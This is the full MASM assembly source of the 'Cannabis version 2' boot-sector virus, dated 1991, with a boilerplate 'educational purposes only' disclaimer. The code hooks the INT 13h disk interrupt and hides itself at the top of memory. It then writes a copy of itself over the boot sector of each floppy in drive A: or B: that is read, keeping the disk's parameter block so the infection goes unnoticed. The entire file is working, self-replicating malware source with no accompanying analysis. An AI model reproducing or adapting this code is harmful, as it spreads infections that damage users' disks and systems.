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Assembly Source File  |  1991-12-05  |  9KB  |  264 lines
  1. ;****************************************************************************
  2. ;*  Cannabis    version 2
  3. ;*
  4. ;*  Compile with MASM 4.0
  5. ;*  (other assemblers will probably not produce the same result)
  6. ;*
  7. ;*  Disclaimer:
  8. ;*  This file is only for educational purposes. The author takes no
  9. ;*  responsibility for anything anyone does with this file. Do not
  10. ;*  modify this file!
  11. ;****************************************************************************
  12.  
  13. cseg            segment
  14.                 assume  cs:cseg,ds:cseg,es:nothing
  15.  
  16.                 .RADIX  16
  17.  
  18. BASE            equ     7C00
  19.  
  20.                 org     0
  21.  
  22. begin:          jmp     start
  23.  
  24.                 org     3
  25.  
  26.                 db      'CANNABIS'              ;BIOS parameter block
  27.                 dw      0200
  28.                 db      2
  29.                 dw      1
  30.                 db      2
  31.                 dw      112d
  32.                 dw      720d
  33.                 db      0FDh
  34.                 dw      2
  35.                 dw      9
  36.                 dw      2
  37.                 dw      0
  38.  
  39.                 org     3E
  40.  
  41. start:          cli                             ;initialise segments + stack
  42.                 cld
  43.                 xor     ax,ax
  44.                 mov     ds,ax
  45.                 mov     ss,ax
  46.                 mov     sp,7C00
  47.  
  48.                 mov     bx,offset ni13+BASE     ;check int13 vector
  49.                 mov     ax,ds:[4*13]
  50.                 cmp     ax,bx
  51.                 je      installed
  52.  
  53.                 mov     ds:[oi13+BASE],ax       ;save old vector
  54.                 mov     ax,ds:[4*13+2]
  55.                 mov     ds:[oi13+2+BASE],ax
  56.  
  57.                 mov     di,0400                 ;adjust memory size
  58.                 mov     ax,ds:[di+13]
  59.                 dec     ax
  60.                 mov     ds:[di+13],ax
  61.  
  62.                 mov     cl,6                    ;ES -> top
  63.                 shl     ax,cl
  64.                 sub     ax,07C0
  65.                 mov     es,ax
  66.  
  67.                 mov     cx,0200                 ;copy virus to top
  68.                 mov     si,sp                   ;SP=7C00
  69.                 mov     di,sp
  70.         rep     movsb
  71.  
  72.                 mov     ds:[4*13],bx            ;set new vector 
  73.                 mov     ds:[4*13+2],es
  74.  
  75. installed:      xor     ax,ax
  76.                 push    ss
  77.                 pop     es
  78.                 mov     bx,0078
  79.                 lds     si,ss:[bx]              ;ds:si = int 1E (=table ptr)
  80.                 push    ds
  81.                 push    si
  82.                 push    ss
  83.                 push    bx
  84.                 mov     di,7C3Eh                ;move table -> ds:7C3E
  85.                 mov     cx,0Bh
  86.         rep     movsb
  87.                 push    es
  88.                 pop     ds
  89.                 mov     byte ptr [di-2], 0Fh    ;change values
  90.                 mov     cx,ds:[7C18]
  91.                 mov     [di-7],cl
  92.  
  93.                 mov     [bx+2],ax               ;table -> ds:7C3E
  94.                 mov     word ptr [bx],7C3E
  95.                 sti
  96.                 int     13                      ;reset disk
  97.                 jc      error
  98.                 xor     ax,ax
  99.                 mov     cx,ds:[7C13]            ;number of sectors
  100.                 mov     ds:[7C20],cx
  101.                 mov     ax,ds:[7C16]            ;calculate root-entry (FAT)
  102.                 shl     ax,1
  103.                 inc     ax
  104.                 mov     ds:[7C50],ax            ;save value
  105.                 mov     ds:[7C49],ax
  106.  
  107.                 mov     ax,ds:[7C11]            ;calculate IO.SYS entry
  108.                 mov     cl,4
  109.                 shr     ax,cl
  110.                 add     ds:[7C49],ax
  111.  
  112.                 mov     bx,0500                 ;read directory
  113.                 mov     ax,ds:[7C50]
  114.                 call    readsector
  115.                 jc      error
  116.                 cmp     word ptr [bx], 'OI'     ;IO.SYS ?
  117.                 jne     ibmtest
  118.                 cmp     word ptr [bx+20], 'SM'  ;MSDOS.SYS ?
  119.                 je      continue
  120.                 jmp     short error
  121.  
  122. ibmtest:        cmp     word ptr [bx], 'BI'     ;IBMBIO.COM ?
  123.                 jne     error
  124.                 cmp     word ptr [bx+20], 'BI'  ;IBMDOS.COM ?
  125.                 je      continue
  126.  
  127. error:          mov     si,offset errortxt+BASE   ;print error-message
  128.                 call    print
  129.                 xor     ax,ax
  130.                 int     16                      ;wait for keypress
  131.                 pop     si                      ;restore int 1E vector
  132.                 pop     ds
  133.                 pop     [si]
  134.                 pop     [si+2]
  135.                 int     19                      ;boot again...
  136.  
  137.  
  138. continue:       mov     bx,0700                 ;read 3 sectors of IO.SYS
  139.                 mov     cx,3                    ;at ds:0700
  140.                 mov     ax,ds:[7C49]            
  141.  
  142. nextsec:        call    readsector
  143.                 jc      error
  144.                 inc     ax
  145.                 add     bx,0200
  146.                 loop    nextsec
  147.  
  148.                 mov     ch,ds:[7C15]            ;go to begin IO.SYS
  149.                 mov     dl,0
  150.                 mov     bx,ds:[7C49]
  151.                 mov     ax,0
  152.                 db      0EA, 0, 0, 70, 0
  153.  
  154.  
  155. ;****************************************************************************
  156. ;*              Read a sector
  157. ;****************************************************************************
  158.  
  159. readsector:     push    ax
  160.                 push    cx
  161.  
  162.                 div     byte ptr ds:[7C18]      ;al=sec/9 (0-160) ah=sec. (0-8)
  163.                 cwd
  164.                 inc     ah                      ;ah=1-9 (sector)
  165.                 shr     al,1                    ;al=0-80 (track)
  166.                 adc     dh,0                    ;dh=0/1 (head) dl=0 (drive)
  167.                 xchg    ah,al
  168.                 xchg    ax,cx
  169.                 mov     ax,0201                 ;read it
  170.                 int     13
  171.  
  172.                 pop     cx
  173.                 pop     ax
  174. return:         ret
  175.  
  176.  
  177. ;****************************************************************************
  178. ;*              Print message
  179. ;****************************************************************************
  180.  
  181. print:          lodsb
  182.                 or      al,al
  183.                 jz      return
  184.                 mov     ah,0Eh
  185.                 mov     bx,7
  186.                 int     10
  187.                 jmp     short print
  188.  
  189.  
  190. ;****************************************************************************
  191. ;*              Int 13 handler
  192. ;****************************************************************************
  193.  
  194. ni13:           push    ax
  195.                 push    ds
  196.                 cmp     ah,2                    ;funktion 2 (read) ?
  197.                 jne     cancel
  198.                 test    dl,0FEh                 ;drive A: or B: ? (head=0)
  199.                 jnz     cancel
  200.                 xor     ax,ax
  201.                 mov     ds,ax
  202.                 test    byte ptr ds:[043F],1    ;is drive active now?
  203.                 jnz     cancel
  204.  
  205. infect:         push    cx
  206.                 push    bx
  207.                 push    di
  208.                 push    si
  209.                 push    es
  210.                 mov     ax,0201                 ;read bootsector at 7E00
  211.                 mov     bx,7E00
  212.                 mov     cx,1
  213.                 push    cs
  214.                 push    cs
  215.                 pop     es
  216.                 pop     ds
  217.                 pushf
  218.                 push    cs
  219.                 call    orgint13
  220.                 jc      exit
  221.  
  222.                 mov     si,7E0Bh                ;move BPB to virus
  223.                 mov     di,7C0Bh
  224.                 mov     cl,33
  225.         rep     movsb
  226.  
  227.                 mov     ax,0301                 ;write virus to boot-sector
  228.                 mov     bx,7C00
  229.                 mov     cl,1
  230.                 pushf   
  231.                 push    cs
  232.                 call    orgint13
  233.  
  234. exit:           pop     es
  235.                 pop     si
  236.                 pop     di
  237.                 pop     bx
  238.                 pop     cx
  239.  
  240. cancel:         pop     ds
  241.                 pop     ax
  242. orgint13:       jmp     dword ptr cs:[oi13+BASE]   ;original vector
  243.  
  244.  
  245. ;****************************************************************************
  246. ;*              Data
  247. ;****************************************************************************
  248.  
  249. oi13            dw      ?,?
  250.  
  251. errortxt        db      0Dh, 0Ah, 'Non-System disk or disk error'
  252.                 db      0Dh, 0Ah, 'Replace and press a key when ready'
  253.                 db      0Dh, 0Ah, 0
  254.  
  255.         
  256.                 org     01FEh
  257.  
  258.                 db      55, 0AA
  259.  
  260. end:
  261.  
  262. cseg            ends
  263.                 end     begin
  264.